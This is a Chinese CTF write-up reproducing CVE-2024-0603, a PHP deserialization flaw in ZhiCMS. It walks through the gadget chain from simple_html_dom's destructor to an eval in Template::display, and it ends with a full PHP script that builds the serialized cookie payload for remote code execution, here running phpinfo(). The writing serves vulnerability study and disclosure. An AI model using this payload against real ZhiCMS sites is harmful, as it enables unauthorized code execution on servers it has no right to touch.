2024vnctf(zhicms赛后复现&CVE-2024-0603)
吕钦杨 发表于 四川 CTF 874浏览 · 2024-05-21 06:14

前言
本题是2024VNCTF的一道1day,也就是CVE-2024-0603,后面笔者对该php框架进行了复现

参考链接
https://pysnow.cn/archives/715/

分析
我们来分析一波 首先 网上就有个反序列化入口点 在http://zhicms.com/index.php?r=plug/gift/mylike路由传cookie就能反序列化 通过公开的信息可以发现漏洞入口位于app/plug/controller/giftcontroller.php

simple_html_dom::destruct() -> simple_html_dom::clear() -> MemcacheDriver::clear() ->simple_html_dom_node::toString() ->simple_html_dom_node::outertext() -> Template::display() -> Template::compile()
最后是通过控制compile方法的返回值进行eval代码执行的
一步步来 首先从析构函数__destruct开始找起,发现ZhiCms\ext\simple_html_dom的函数是个好东西

namespace ZhiCms\ext;                
class simple_html_dom_node                
{                
    private $dom = null;                
    function __toString()                
{                
        return $this->outertext();                
    }                
    function outertext()                
{                
        if ($this->dom && $this->dom->callback!==null)                
        {                
            call_user_func_array($this->dom->callback, array($this));                
        }                
    }                
}                
class simple_html_dom                
{                



    public $callback = null;                
    protected $parent;                
// .......                
    function __destruct()                
{                
        $this->clear();                
    }                



// .......                
    function clear()                
{                
        foreach ($this->nodes as $n) {$n->clear(); $n = null;}                
        // This add next line is documented in the sourceforge repository. 2977248 as a fix for ongoing memory leaks that occur even with the use of clear.                
        if (isset($this->children)) foreach ($this->children as $n) {$n->clear(); $n = null;}                
        if (isset($this->parent)) {$this->parent->clear(); unset($this->parent);}                
        if (isset($this->root)) {$this->root->clear(); unset($this->root);}                
        unset($this->doc);                
        unset($this->noise);                
    }                
// .......                
}

可以看出他调用了自己的clear方法,我们跟进clear方法,发现$this->parent->clear(),parent我们可控,可以调用任意类的parent方法或者__call方法,我们可以利用这里去调用MemcacheDriver类中的clear()方法

namespace ZhiCms\base\cache;                
class MemcacheDriver implements CacheInterface{                
    protected $mmc = NULL;                
    protected $group = '';                 
    protected $ver = 0;                
    public function clear() {                
        return  $this->mmc->set($this->group.'_ver', $this->ver+1);                 
    }                
}

return this->group.'_ver', $this->ver+1);
关键这一句将$this->group拼接字符串'_ver',所以可以触发simple_html_dom_node中的toString()方法
toString()方法调用了outertext()方法,而这个方法中存在call_user_func_array()函数可以调用匿名函数
if (
Misplaced &
this->dom->callback!==null){call_user_func_array($this->dom->callback, array($this));}
仔细分析这一段代码,如果

this->dom->callback存在,就将$this->dom->callback作为回调函数调用,这里已经可以执行phpinfo了,继续往下走可以找到Template中的display函数

$dom->callback=array(new Template(),"display");
Template中的display函数 存在这两句关键代码

extract($this->vars, EXTR_OVERWRITE);
eval('?>' . $this->compile( $tpl, $isTpl));
调用了complie()方法,然后将返回值拼接在 eval函数里面,所以我们其实能控制complie的返回值就能成功执行了,再看看 complie() 方法

namespace ZhiCms\base;                
class Template {                
    protected $config =array();                
    protected $label = null;                
    protected $vars = array();                
    protected $cache = null;                



    public function display($tpl = '', $return = false, $isTpl = true ) {                
            if( $return ){                
                if ( ob_get_level() ){                
                    ob_end_flush();                
                    flush();                
                }                
                ob_start();                
            }                



            extract($this->vars, EXTR_OVERWRITE);                
            eval('?>' . $this->compile( $tpl, $isTpl));                

            if( $return ){                
                $content = ob_get_contents();                
                ob_end_clean();                
                return $content;                
            }                
        }                   
}


这个我来解释一下 就是关键在首先isTpl要为false 这里的

isTpl实际上是不可控的,但是display()方法中还有一段 extract(this->vars变量是可控的,所以这里我们可以利用extract()的变量覆盖将$tpl和$isTpl覆盖为我们想要的值,就可以实现任意命令执行
this->cache->get(tplkey));
接着我们可以控制
this->cache=namespace ZhiCms\base 的Cache类 然后掉用他的call方法

通过赋值$this->config = array("CACHE_TYPE"=>"FileCache","MEM_GROUP"=>"tpl"); 我们可以看见
return call_user_func_array(array(self::this->cache], $method), $args); 结合前面的触发
call方法的是set方法,他这里实际是调用了FileCacheDriver类的set方法

然后对直接md5加密的进行解密返回最终也就是complie函数的返回值,实现RCE
给个最后的链子吧

<?php

namespace ZhiCms\base{
    class Cache{
        protected $config;
        protected $cache = 'default';
        public $proxyObj=null;
        public $proxyExpire=1800;
        public function __construct()
        {
            $this->config=array("CACHE_TYPE"=>"FileCache");
        }

    }
    class Template{
        protected $vars;
        protected $cache;
        public function __construct()
        {

            $this->cache=new Cache();
            $this->vars = array("tpl"=>"<?php phpinfo();?>","isTpl"=>false);

        }

    }
}


namespace ZhiCms\base\cache{
    use ZhiCms\ext\simple_html_dom_node;
    use ZhiCms\base\Cache;
    class MemcachedDriver{
        protected $mmc = NULL;
        protected $group = '';
        protected $ver = 0;
        public function __construct()
        {
            $this->mmc = new Cache();
            $this->group=new simple_html_dom_node();
        }
    }
}



namespace ZhiCms\ext{
    use ZhiCms\base\cache\MemcachedDriver;
    use ZhiCms\base\Template;
    use ZhiCms\base\Cache;
    class simple_html_dom
    {
        protected $parent;
        public $callback;
        public function __construct($obj)
        {
            $this->parent=$obj;
        }
    }
    class simple_html_dom_node{
        private $dom = null;
        public function __construct()
        {
            $dom=new simple_html_dom("");

            $dom->callback=array(new Template(),"display");
            // $dom->callback="phpinfo";
            $this->dom=$dom;

        }
    }

    $mem = new MemcachedDriver();
    $obj = new simple_html_dom($mem);
    $final = serialize($obj);
    echo urlencode($final);
}

至此复现成功

0 条评论
某人
表情
可输入 255
目录